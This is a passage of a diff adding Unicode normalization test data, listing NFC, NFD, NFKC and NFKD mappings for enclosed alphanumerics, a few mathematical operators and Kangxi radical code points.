+{ source: [0x2475], NFC: [0x2475], NFD: [0x2475], NFKC: [0x0028, 0x0032, 0x0029], NFKD: [0x0028, 0x0032, 0x0029] },
+{ source: [0x2476], NFC: [0x2476], NFD: [0x2476], NFKC: [0x0028, 0x0033, 0x0029], NFKD: [0x0028, 0x0033, 0x0029] },
+{ source: [0x2477], NFC: [0x2477], NFD: [0x2477], NFKC: [0x0028, 0x0034, 0x0029], NFKD: [0x0028, 0x0034, 0x0029] },
+{ source: [0x2478], NFC: [0x2478], NFD: [0x2478], NFKC: [0x0028, 0x0035, 0x0029], NFKD: [0x0028, 0x0035, 0x0029] },
+{ source: [0x2479], NFC: [0x2479], NFD: [0x2479], NFKC: [0x0028, 0x0036, 0x0029], NFKD: [0x0028, 0x0036, 0x0029] },
+{ source: [0x247A], NFC: [0x247A], NFD: [0x247A], NFKC: [0x0028, 0x0037, 0x0029], NFKD: [0x0028, 0x0037, 0x0029] },
+{ source: [0x247B], NFC: [0x247B], NFD: [0x247B], NFKC: [0x0028, 0x0038, 0x0029], NFKD: [0x0028, 0x0038, 0x0029] },
+{ source: [0x247C], NFC: [0x247C], NFD: [0x247C], NFKC: [0x0028, 0x0039, 0x0029], NFKD: [0x0028, 0x0039, 0x0029] },
+{ source: [0x247D], NFC: [0x247D], NFD: [0x247D], NFKC: [0x0028, 0x0031, 0x0030, 0x0029], NFKD: [0x0028, 0x0031, 0x0030, 0x0029] },
+{ source: [0x247E], NFC: [0x247E], NFD: [0x247E], NFKC: [0x0028, 0x0031, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0031, 0x0029] },
+{ source: [0x247F], NFC: [0x247F], NFD: [0x247F], NFKC: [0x0028, 0x0031, 0x0032, 0x0029], NFKD: [0x0028, 0x0031, 0x0032, 0x0029] },
+{ source: [0x2480], NFC: [0x2480], NFD: [0x2480], NFKC: [0x0028, 0x0031, 0x0033, 0x0029], NFKD: [0x0028, 0x0031, 0x0033, 0x0029] },
+{ source: [0x2481], NFC: [0x2481], NFD: [0x2481], NFKC: [0x0028, 0x0031, 0x0034, 0x0029], NFKD: [0x0028, 0x0031, 0x0034, 0x0029] },
+{ source: [0x2482], NFC: [0x2482], NFD: [0x2482], NFKC: [0x0028, 0x0031, 0x0035, 0x0029], NFKD: [0x0028, 0x0031, 0x0035, 0x0029] },
+{ source: [0x2483], NFC: [0x2483], NFD: [0x2483], NFKC: [0x0028, 0x0031, 0x0036, 0x0029], NFKD: [0x0028, 0x0031, 0x0036, 0x0029] },
+{ source: [0x2484], NFC: [0x2484], NFD: [0x2484], NFKC: [0x0028, 0x0031, 0x0037, 0x0029], NFKD: [0x0028, 0x0031, 0x0037, 0x0029] },
+{ source: [0x2485], NFC: [0x2485], NFD: [0x2485], NFKC: [0x0028, 0x0031, 0x0038, 0x0029], NFKD: [0x0028, 0x0031, 0x0038, 0x0029] },
+{ source: [0x2486], NFC: [0x2486], NFD: [0x2486], NFKC: [0x0028, 0x0031, 0x0039, 0x0029], NFKD: [0x0028, 0x0031, 0x0039, 0x0029] },
+{ source: [0x2487], NFC: [0x2487], NFD: [0x2487], NFKC: [0x0028, 0x0032, 0x0030, 0x0029], NFKD: [0x0028, 0x0032, 0x0030, 0x0029] },
+{ source: [0x2488], NFC: [0x2488], NFD: [0x2488], NFKC: [0x0031, 0x002E], NFKD: [0x0031, 0x002E] },
+{ source: [0x2489], NFC: [0x2489], NFD: [0x2489], NFKC: [0x0032, 0x002E], NFKD: [0x0032, 0x002E] },
+{ source: [0x248A], NFC: [0x248A], NFD: [0x248A], NFKC: [0x0033, 0x002E], NFKD: [0x0033, 0x002E] },
+{ source: [0x248B], NFC: [0x248B], NFD: [0x248B], NFKC: [0x0034, 0x002E], NFKD: [0x0034, 0x002E] },
+{ source: [0x248C], NFC: [0x248C], NFD: [0x248C], NFKC: [0x0035, 0x002E], NFKD: [0x0035, 0x002E] },
+{ source: [0x248D], NFC: [0x248D], NFD: [0x248D], NFKC: [0x0036, 0x002E], NFKD: [0x0036, 0x002E] },
+{ source: [0x248E], NFC: [0x248E], NFD: [0x248E], NFKC: [0x0037, 0x002E], NFKD: [0x0037, 0x002E] },
+{ source: [0x248F], NFC: [0x248F], NFD: [0x248F], NFKC: [0x0038, 0x002E], NFKD: [0x0038, 0x002E] },
+{ source: [0x2490], NFC: [0x2490], NFD: [0x2490], NFKC: [0x0039, 0x002E], NFKD: [0x0039, 0x002E] },
+{ source: [0x2491], NFC: [0x2491], NFD: [0x2491], NFKC: [0x0031, 0x0030, 0x002E], NFKD: [0x0031, 0x0030, 0x002E] },
+{ source: [0x2492], NFC: [0x2492], NFD: [0x2492], NFKC: [0x0031, 0x0031, 0x002E], NFKD: [0x0031, 0x0031, 0x002E] },
+{ source: [0x2493], NFC: [0x2493], NFD: [0x2493], NFKC: [0x0031, 0x0032, 0x002E], NFKD: [0x0031, 0x0032, 0x002E] },
+{ source: [0x2494], NFC: [0x2494], NFD: [0x2494], NFKC: [0x0031, 0x0033, 0x002E], NFKD: [0x0031, 0x0033, 0x002E] },
+{ source: [0x2495], NFC: [0x2495], NFD: [0x2495], NFKC: [0x0031, 0x0034, 0x002E], NFKD: [0x0031, 0x0034, 0x002E] },
+{ source: [0x2496], NFC: [0x2496], NFD: [0x2496], NFKC: [0x0031, 0x0035, 0x002E], NFKD: [0x0031, 0x0035, 0x002E] },
+{ source: [0x2497], NFC: [0x2497], NFD: [0x2497], NFKC: [0x0031, 0x0036, 0x002E], NFKD: [0x0031, 0x0036, 0x002E] },
+{ source: [0x2498], NFC: [0x2498], NFD: [0x2498], NFKC: [0x0031, 0x0037, 0x002E], NFKD: [0x0031, 0x0037, 0x002E] },
+{ source: [0x2499], NFC: [0x2499], NFD: [0x2499], NFKC: [0x0031, 0x0038, 0x002E], NFKD: [0x0031, 0x0038, 0x002E] },
+{ source: [0x249A], NFC: [0x249A], NFD: [0x249A], NFKC: [0x0031, 0x0039, 0x002E], NFKD: [0x0031, 0x0039, 0x002E] },
+{ source: [0x249B], NFC: [0x249B], NFD: [0x249B], NFKC: [0x0032, 0x0030, 0x002E], NFKD: [0x0032, 0x0030, 0x002E] },
+{ source: [0x249C], NFC: [0x249C], NFD: [0x249C], NFKC: [0x0028, 0x0061, 0x0029], NFKD: [0x0028, 0x0061, 0x0029] },
+{ source: [0x249D], NFC: [0x249D], NFD: [0x249D], NFKC: [0x0028, 0x0062, 0x0029], NFKD: [0x0028, 0x0062, 0x0029] },
+{ source: [0x249E], NFC: [0x249E], NFD: [0x249E], NFKC: [0x0028, 0x0063, 0x0029], NFKD: [0x0028, 0x0063, 0x0029] },
+{ source: [0x249F], NFC: [0x249F], NFD: [0x249F], NFKC: [0x0028, 0x0064, 0x0029], NFKD: [0x0028, 0x0064, 0x0029] },
+{ source: [0x24A0], NFC: [0x24A0], NFD: [0x24A0], NFKC: [0x0028, 0x0065, 0x0029], NFKD: [0x0028, 0x0065, 0x0029] },
+{ source: [0x24A1], NFC: [0x24A1], NFD: [0x24A1], NFKC: [0x0028, 0x0066, 0x0029], NFKD: [0x0028, 0x0066, 0x0029] },
+{ source: [0x24A2], NFC: [0x24A2], NFD: [0x24A2], NFKC: [0x0028, 0x0067, 0x0029], NFKD: [0x0028, 0x0067, 0x0029] },
+{ source: [0x24A3], NFC: [0x24A3], NFD: [0x24A3], NFKC: [0x0028, 0x0068, 0x0029], NFKD: [0x0028, 0x0068, 0x0029] },
+{ source: [0x24A4], NFC: [0x24A4], NFD: [0x24A4], NFKC: [0x0028, 0x0069, 0x0029], NFKD: [0x0028, 0x0069, 0x0029] },
+{ source: [0x24A5], NFC: [0x24A5], NFD: [0x24A5], NFKC: [0x0028, 0x006A, 0x0029], NFKD: [0x0028, 0x006A, 0x0029] },
+{ source: [0x24A6], NFC: [0x24A6], NFD: [0x24A6], NFKC: [0x0028, 0x006B, 0x0029], NFKD: [0x0028, 0x006B, 0x0029] },
+{ source: [0x24A7], NFC: [0x24A7], NFD: [0x24A7], NFKC: [0x0028, 0x006C, 0x0029], NFKD: [0x0028, 0x006C, 0x0029] },
+{ source: [0x24A8], NFC: [0x24A8], NFD: [0x24A8], NFKC: [0x0028, 0x006D, 0x0029], NFKD: [0x0028, 0x006D, 0x0029] },
+{ source: [0x24A9], NFC: [0x24A9], NFD: [0x24A9], NFKC: [0x0028, 0x006E, 0x0029], NFKD: [0x0028, 0x006E, 0x0029] },
+{ source: [0x24AA], NFC: [0x24AA], NFD: [0x24AA], NFKC: [0x0028, 0x006F, 0x0029], NFKD: [0x0028, 0x006F, 0x0029] },
+{ source: [0x24AB], NFC: [0x24AB], NFD: [0x24AB], NFKC: [0x0028, 0x0070, 0x0029], NFKD: [0x0028, 0x0070, 0x0029] },
+{ source: [0x24AC], NFC: [0x24AC], NFD: [0x24AC], NFKC: [0x0028, 0x0071, 0x0029], NFKD: [0x0028, 0x0071, 0x0029] },
+{ source: [0x24AD], NFC: [0x24AD], NFD: [0x24AD], NFKC: [0x0028, 0x0072, 0x0029], NFKD: [0x0028, 0x0072, 0x0029] },
+{ source: [0x24AE], NFC: [0x24AE], NFD: [0x24AE], NFKC: [0x0028, 0x0073, 0x0029], NFKD: [0x0028, 0x0073, 0x0029] },
+{ source: [0x24AF], NFC: [0x24AF], NFD: [0x24AF], NFKC: [0x0028, 0x0074, 0x0029], NFKD: [0x0028, 0x0074, 0x0029] },
+{ source: [0x24B0], NFC: [0x24B0], NFD: [0x24B0], NFKC: [0x0028, 0x0075, 0x0029], NFKD: [0x0028, 0x0075, 0x0029] },
+{ source: [0x24B1], NFC: [0x24B1], NFD: [0x24B1], NFKC: [0x0028, 0x0076, 0x0029], NFKD: [0x0028, 0x0076, 0x0029] },
+{ source: [0x24B2], NFC: [0x24B2], NFD: [0x24B2], NFKC: [0x0028, 0x0077, 0x0029], NFKD: [0x0028, 0x0077, 0x0029] },
+{ source: [0x24B3], NFC: [0x24B3], NFD: [0x24B3], NFKC: [0x0028, 0x0078, 0x0029], NFKD: [0x0028, 0x0078, 0x0029] },
+{ source: [0x24B4], NFC: [0x24B4], NFD: [0x24B4], NFKC: [0x0028, 0x0079, 0x0029], NFKD: [0x0028, 0x0079, 0x0029] },
+{ source: [0x24B5], NFC: [0x24B5], NFD: [0x24B5], NFKC: [0x0028, 0x007A, 0x0029], NFKD: [0x0028, 0x007A, 0x0029] },
+{ source: [0x24B6], NFC: [0x24B6], NFD: [0x24B6], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x24B7], NFC: [0x24B7], NFD: [0x24B7], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x24B8], NFC: [0x24B8], NFD: [0x24B8], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x24B9], NFC: [0x24B9], NFD: [0x24B9], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x24BA], NFC: [0x24BA], NFD: [0x24BA], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x24BB], NFC: [0x24BB], NFD: [0x24BB], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x24BC], NFC: [0x24BC], NFD: [0x24BC], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x24BD], NFC: [0x24BD], NFD: [0x24BD], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x24BE], NFC: [0x24BE], NFD: [0x24BE], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x24BF], NFC: [0x24BF], NFD: [0x24BF], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x24C0], NFC: [0x24C0], NFD: [0x24C0], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x24C1], NFC: [0x24C1], NFD: [0x24C1], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x24C2], NFC: [0x24C2], NFD: [0x24C2], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x24C3], NFC: [0x24C3], NFD: [0x24C3], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x24C4], NFC: [0x24C4], NFD: [0x24C4], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x24C5], NFC: [0x24C5], NFD: [0x24C5], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x24C6], NFC: [0x24C6], NFD: [0x24C6], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x24C7], NFC: [0x24C7], NFD: [0x24C7], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x24C8], NFC: [0x24C8], NFD: [0x24C8], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x24C9], NFC: [0x24C9], NFD: [0x24C9], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x24CA], NFC: [0x24CA], NFD: [0x24CA], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x24CB], NFC: [0x24CB], NFD: [0x24CB], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x24CC], NFC: [0x24CC], NFD: [0x24CC], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x24CD], NFC: [0x24CD], NFD: [0x24CD], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x24CE], NFC: [0x24CE], NFD: [0x24CE], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x24CF], NFC: [0x24CF], NFD: [0x24CF], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x24D0], NFC: [0x24D0], NFD: [0x24D0], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x24D1], NFC: [0x24D1], NFD: [0x24D1], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x24D2], NFC: [0x24D2], NFD: [0x24D2], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x24D3], NFC: [0x24D3], NFD: [0x24D3], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x24D4], NFC: [0x24D4], NFD: [0x24D4], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x24D5], NFC: [0x24D5], NFD: [0x24D5], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x24D6], NFC: [0x24D6], NFD: [0x24D6], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x24D7], NFC: [0x24D7], NFD: [0x24D7], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x24D8], NFC: [0x24D8], NFD: [0x24D8], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x24D9], NFC: [0x24D9], NFD: [0x24D9], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x24DA], NFC: [0x24DA], NFD: [0x24DA], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x24DB], NFC: [0x24DB], NFD: [0x24DB], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x24DC], NFC: [0x24DC], NFD: [0x24DC], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x24DD], NFC: [0x24DD], NFD: [0x24DD], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x24DE], NFC: [0x24DE], NFD: [0x24DE], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x24DF], NFC: [0x24DF], NFD: [0x24DF], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x24E0], NFC: [0x24E0], NFD: [0x24E0], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x24E1], NFC: [0x24E1], NFD: [0x24E1], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x24E2], NFC: [0x24E2], NFD: [0x24E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x24E3], NFC: [0x24E3], NFD: [0x24E3], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x24E4], NFC: [0x24E4], NFD: [0x24E4], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x24E5], NFC: [0x24E5], NFD: [0x24E5], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x24E6], NFC: [0x24E6], NFD: [0x24E6], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x24E7], NFC: [0x24E7], NFD: [0x24E7], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x24E8], NFC: [0x24E8], NFD: [0x24E8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x24E9], NFC: [0x24E9], NFD: [0x24E9], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x24EA], NFC: [0x24EA], NFD: [0x24EA], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2A0C], NFC: [0x2A0C], NFD: [0x2A0C], NFKC: [0x222B, 0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B, 0x222B] },
+{ source: [0x2A74], NFC: [0x2A74], NFD: [0x2A74], NFKC: [0x003A, 0x003A, 0x003D], NFKD: [0x003A, 0x003A, 0x003D] },
+{ source: [0x2A75], NFC: [0x2A75], NFD: [0x2A75], NFKC: [0x003D, 0x003D], NFKD: [0x003D, 0x003D] },
+{ source: [0x2A76], NFC: [0x2A76], NFD: [0x2A76], NFKC: [0x003D, 0x003D, 0x003D], NFKD: [0x003D, 0x003D, 0x003D] },
+{ source: [0x2ADC], NFC: [0x2ADD, 0x0338], NFD: [0x2ADD, 0x0338], NFKC: [0x2ADD, 0x0338], NFKD: [0x2ADD, 0x0338] },
+{ source: [0x2C7C], NFC: [0x2C7C], NFD: [0x2C7C], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2C7D], NFC: [0x2C7D], NFD: [0x2C7D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2D6F], NFC: [0x2D6F], NFD: [0x2D6F], NFKC: [0x2D61], NFKD: [0x2D61] },
+{ source: [0x2E9F], NFC: [0x2E9F], NFD: [0x2E9F], NFKC: [0x6BCD], NFKD: [0x6BCD] },
+{ source: [0x2EF3], NFC: [0x2EF3], NFD: [0x2EF3], NFKC: [0x9F9F], NFKD: [0x9F9F] },
+{ source: [0x2F00], NFC: [0x2F00], NFD: [0x2F00], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x2F01], NFC: [0x2F01], NFD: [0x2F01], NFKC: [0x4E28], NFKD: [0x4E28] },
+{ source: [0x2F02], NFC: [0x2F02], NFD: [0x2F02], NFKC: [0x4E36], NFKD: [0x4E36] },
+{ source: [0x2F03], NFC: [0x2F03], NFD: [0x2F03], NFKC: [0x4E3F], NFKD: [0x4E3F] },
+{ source: [0x2F04], NFC: [0x2F04], NFD: [0x2F04], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x2F05], NFC: [0x2F05], NFD: [0x2F05], NFKC: [0x4E85], NFKD: [0x4E85] },
+{ source: [0x2F06], NFC: [0x2F06], NFD: [0x2F06], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x2F07], NFC: [0x2F07], NFD: [0x2F07], NFKC: [0x4EA0], NFKD: [0x4EA0] },
+{ source: [0x2F08], NFC: [0x2F08], NFD: [0x2F08], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x2F09], NFC: [0x2F09], NFD: [0x2F09], NFKC: [0x513F], NFKD: [0x513F] },
+{ source: [0x2F0A], NFC: [0x2F0A], NFD: [0x2F0A], NFKC: [0x5165], NFKD: [0x5165] },
+{ source: [0x2F0B], NFC: [0x2F0B], NFD: [0x2F0B], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x2F0C], NFC: [0x2F0C], NFD: [0x2F0C], NFKC: [0x5182], NFKD: [0x5182] },
+{ source: [0x2F0D], NFC: [0x2F0D], NFD: [0x2F0D], NFKC: [0x5196], NFKD: [0x5196] },
+{ source: [0x2F0E], NFC: [0x2F0E], NFD: [0x2F0E], NFKC: [0x51AB], NFKD: [0x51AB] },
+{ source: [0x2F0F], NFC: [0x2F0F], NFD: [0x2F0F], NFKC: [0x51E0], NFKD: [0x51E0] },
+{ source: [0x2F10], NFC: [0x2F10], NFD: [0x2F10], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F11], NFC: [0x2F11], NFD: [0x2F11], NFKC: [0x5200], NFKD: [0x5200] },
+{ source: [0x2F12], NFC: [0x2F12], NFD: [0x2F12], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0x2F13], NFC: [0x2F13], NFD: [0x2F13], NFKC: [0x52F9], NFKD: [0x52F9] },
+{ source: [0x2F14], NFC: [0x2F14], NFD: [0x2F14], NFKC: [0x5315], NFKD: [0x5315] },
+{ source: [0x2F15], NFC: [0x2F15], NFD: [0x2F15], NFKC: [0x531A], NFKD: [0x531A] },
+{ source: [0x2F16], NFC: [0x2F16], NFD: [0x2F16], NFKC: [0x5338], NFKD: [0x5338] },
+{ source: [0x2F17], NFC: [0x2F17], NFD: [0x2F17], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x2F18], NFC: [0x2F18], NFD: [0x2F18], NFKC: [0x535C], NFKD: [0x535C] },
+{ source: [0x2F19], NFC: [0x2F19], NFD: [0x2F19], NFKC: [0x5369], NFKD: [0x5369] },
+{ source: [0x2F1A], NFC: [0x2F1A], NFD: [0x2F1A], NFKC: [0x5382], NFKD: [0x5382] },
+{ source: [0x2F1B], NFC: [0x2F1B], NFD: [0x2F1B], NFKC: [0x53B6], NFKD: [0x53B6] },
+{ source: [0x2F1C], NFC: [0x2F1C], NFD: [0x2F1C], NFKC: [0x53C8], NFKD: [0x53C8] },
+{ source: [0x2F1D], NFC: [0x2F1D], NFD: [0x2F1D], NFKC: [0x53E3], NFKD: [0x53E3] },
+{ source: [0x2F1E], NFC: [0x2F1E], NFD: [0x2F1E], NFKC: [0x56D7], NFKD: [0x56D7] },
+{ source: [0x2F1F], NFC: [0x2F1F], NFD: [0x2F1F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x2F20], NFC: [0x2F20], NFD: [0x2F20], NFKC: [0x58EB], NFKD: [0x58EB] },
+{ source: [0x2F21], NFC: [0x2F21], NFD: [0x2F21], NFKC: [0x5902], NFKD: [0x5902] },
+{ source: [0x2F22], NFC: [0x2F22], NFD: [0x2F22], NFKC: [0x590A], NFKD: [0x590A] },
+{ source: [0x2F23], NFC: [0x2F23], NFD: [0x2F23], NFKC: [0x5915], NFKD: [0x5915] },
+{ source: [0x2F24], NFC: [0x2F24], NFD: [0x2F24], NFKC: [0x5927], NFKD: [0x5927] },
+{ source: [0x2F25], NFC: [0x2F25], NFD: [0x2F25], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x2F26], NFC: [0x2F26], NFD: [0x2F26], NFKC: [0x5B50], NFKD: [0x5B50] },
+{ source: [0x2F27], NFC: [0x2F27], NFD: [0x2F27], NFKC: [0x5B80], NFKD: [0x5B80] },
+{ source: [0x2F28], NFC: [0x2F28], NFD: [0x2F28], NFKC: [0x5BF8], NFKD: [0x5BF8] },
+{ source: [0x2F29], NFC: [0x2F29], NFD: [0x2F29], NFKC: [0x5C0F], NFKD: [0x5C0F] },
+{ source: [0x2F2A], NFC: [0x2F2A], NFD: [0x2F2A], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F2B], NFC: [0x2F2B], NFD: [0x2F2B], NFKC: [0x5C38], NFKD: [0x5C38] },
+{ source: [0x2F2C], NFC: [0x2F2C], NFD: [0x2F2C], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F2D], NFC: [0x2F2D], NFD: [0x2F2D], NFKC: [0x5C71], NFKD: [0x5C71] },
+{ source: [0x2F2E], NFC: [0x2F2E], NFD: [0x2F2E], NFKC: [0x5DDB], NFKD: [0x5DDB] },
+{ source: [0x2F2F], NFC: [0x2F2F], NFD: [0x2F2F], NFKC: [0x5DE5], NFKD: [0x5DE5] },
+{ source: [0x2F30], NFC: [0x2F30], NFD: [0x2F30], NFKC: [0x5DF1], NFKD: [0x5DF1] },
+{ source: [0x2F31], NFC: [0x2F31], NFD: [0x2F31], NFKC: [0x5DFE], NFKD: [0x5DFE] },
+{ source: [0x2F32], NFC: [0x2F32], NFD: [0x2F32], NFKC: [0x5E72], NFKD: [0x5E72] },
+{ source: [0x2F33], NFC: [0x2F33], NFD: [0x2F33], NFKC: [0x5E7A], NFKD: [0x5E7A] },
+{ source: [0x2F34], NFC: [0x2F34], NFD: [0x2F34], NFKC: [0x5E7F], NFKD: [0x5E7F] },
+{ source: [0x2F35], NFC: [0x2F35], NFD: [0x2F35], NFKC: [0x5EF4], NFKD: [0x5EF4] },
+{ source: [0x2F36], NFC: [0x2F36], NFD: [0x2F36], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F37], NFC: [0x2F37], NFD: [0x2F37], NFKC: [0x5F0B], NFKD: [0x5F0B] },
+{ source: [0x2F38], NFC: [0x2F38], NFD: [0x2F38], NFKC: [0x5F13], NFKD: [0x5F13] },
+{ source: [0x2F39], NFC: [0x2F39], NFD: [0x2F39], NFKC: [0x5F50], NFKD: [0x5F50] },
+{ source: [0x2F3A], NFC: [0x2F3A], NFD: [0x2F3A], NFKC: [0x5F61], NFKD: [0x5F61] },
+{ source: [0x2F3B], NFC: [0x2F3B], NFD: [0x2F3B], NFKC: [0x5F73], NFKD: [0x5F73] },
+{ source: [0x2F3C], NFC: [0x2F3C], NFD: [0x2F3C], NFKC: [0x5FC3], NFKD: [0x5FC3] },
+{ source: [0x2F3D], NFC: [0x2F3D], NFD: [0x2F3D], NFKC: [0x6208], NFKD: [0x6208] },
+{ source: [0x2F3E], NFC: [0x2F3E], NFD: [0x2F3E], NFKC: [0x6236], NFKD: [0x6236] },
+{ source: [0x2F3F], NFC: [0x2F3F], NFD: [0x2F3F], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x2F40], NFC: [0x2F40], NFD: [0x2F40], NFKC: [0x652F], NFKD: [0x652F] },
+{ source: [0x2F41], NFC: [0x2F41], NFD: [0x2F41], NFKC: [0x6534], NFKD: [0x6534] },
+{ source: [0x2F42], NFC: [0x2F42], NFD: [0x2F42], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x2F43], NFC: [0x2F43], NFD: [0x2F43], NFKC: [0x6597], NFKD: [0x6597] },
+{ source: [0x2F44], NFC: [0x2F44], NFD: [0x2F44], NFKC: [0x65A4], NFKD: [0x65A4] },
+{ source: [0x2F45], NFC: [0x2F45], NFD: [0x2F45], NFKC: [0x65B9], NFKD: [0x65B9] },
+{ source: [0x2F46], NFC: [0x2F46], NFD: [0x2F46], NFKC: [0x65E0], NFKD: [0x65E0] },
+{ source: [0x2F47], NFC: [0x2F47], NFD: [0x2F47], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x2F48], NFC: [0x2F48], NFD: [0x2F48], NFKC: [0x66F0], NFKD: [0x66F0] },
+{ source: [0x2F49], NFC: [0x2F49], NFD: [0x2F49], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x2F4A], NFC: [0x2F4A], NFD: [0x2F4A], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x2F4B], NFC: [0x2F4B], NFD: [0x2F4B], NFKC: [0x6B20], NFKD: [0x6B20] },
+{ source: [0x2F4C], NFC: [0x2F4C], NFD: [0x2F4C], NFKC: [0x6B62], NFKD: [0x6B62] },
+{ source: [0x2F4D], NFC: [0x2F4D], NFD: [0x2F4D], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0x2F4E], NFC: [0x2F4E], NFD: [0x2F4E], NFKC: [0x6BB3], NFKD: [0x6BB3] },
+{ source: [0x2F4F], NFC: [0x2F4F], NFD: [0x2F4F], NFKC: [0x6BCB], NFKD: [0x6BCB] },
+{ source: [0x2F50], NFC: [0x2F50], NFD: [0x2F50], NFKC: [0x6BD4], NFKD: [0x6BD4] },
+{ source: [0x2F51], NFC: [0x2F51], NFD: [0x2F51], NFKC: [0x6BDB], NFKD: [0x6BDB] },
+{ source: [0x2F52], NFC: [0x2F52], NFD: [0x2F52], NFKC: [0x6C0F], NFKD: [0x6C0F] },
+{ source: [0x2F53], NFC: [0x2F53], NFD: [0x2F53], NFKC: [0x6C14], NFKD: [0x6C14] },
+{ source: [0x2F54], NFC: [0x2F54], NFD: [0x2F54], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x2F55], NFC: [0x2F55], NFD: [0x2F55], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x2F56], NFC: [0x2F56], NFD: [0x2F56], NFKC: [0x722A], NFKD: [0x722A] },
+{ source: [0x2F57], NFC: [0x2F57], NFD: [0x2F57], NFKC: [0x7236], NFKD: [0x7236] },
+{ source: [0x2F58], NFC: [0x2F58], NFD: [0x2F58], NFKC: [0x723B], NFKD: [0x723B] },
+{ source: [0x2F59], NFC: [0x2F59], NFD: [0x2F59], NFKC: [0x723F], NFKD: [0x723F] },
+{ source: [0x2F5A], NFC: [0x2F5A], NFD: [0x2F5A], NFKC: [0x7247], NFKD: [0x7247] },
+{ source: [0x2F5B], NFC: [0x2F5B], NFD: [0x2F5B], NFKC: [0x7259], NFKD: [0x7259] },
+{ source: [0x2F5C], NFC: [0x2F5C], NFD: [0x2F5C], NFKC: [0x725B], NFKD: [0x725B] },
+{ source: [0x2F5D], NFC: [0x2F5D], NFD: [0x2F5D], NFKC: [0x72AC], NFKD: [0x72AC] },
+{ source: [0x2F5E], NFC: [0x2F5E], NFD: [0x2F5E], NFKC: [0x7384], NFKD: [0x7384] },
+{ source: [0x2F5F], NFC: [0x2F5F], NFD: [0x2F5F], NFKC: [0x7389], NFKD: [0x7389] },
+{ source: [0x2F60], NFC: [0x2F60], NFD: [0x2F60], NFKC: [0x74DC], NFKD: [0x74DC] },
+{ source: [0x2F61], NFC: [0x2F61], NFD: [0x2F61], NFKC: [0x74E6], NFKD: [0x74E6] },
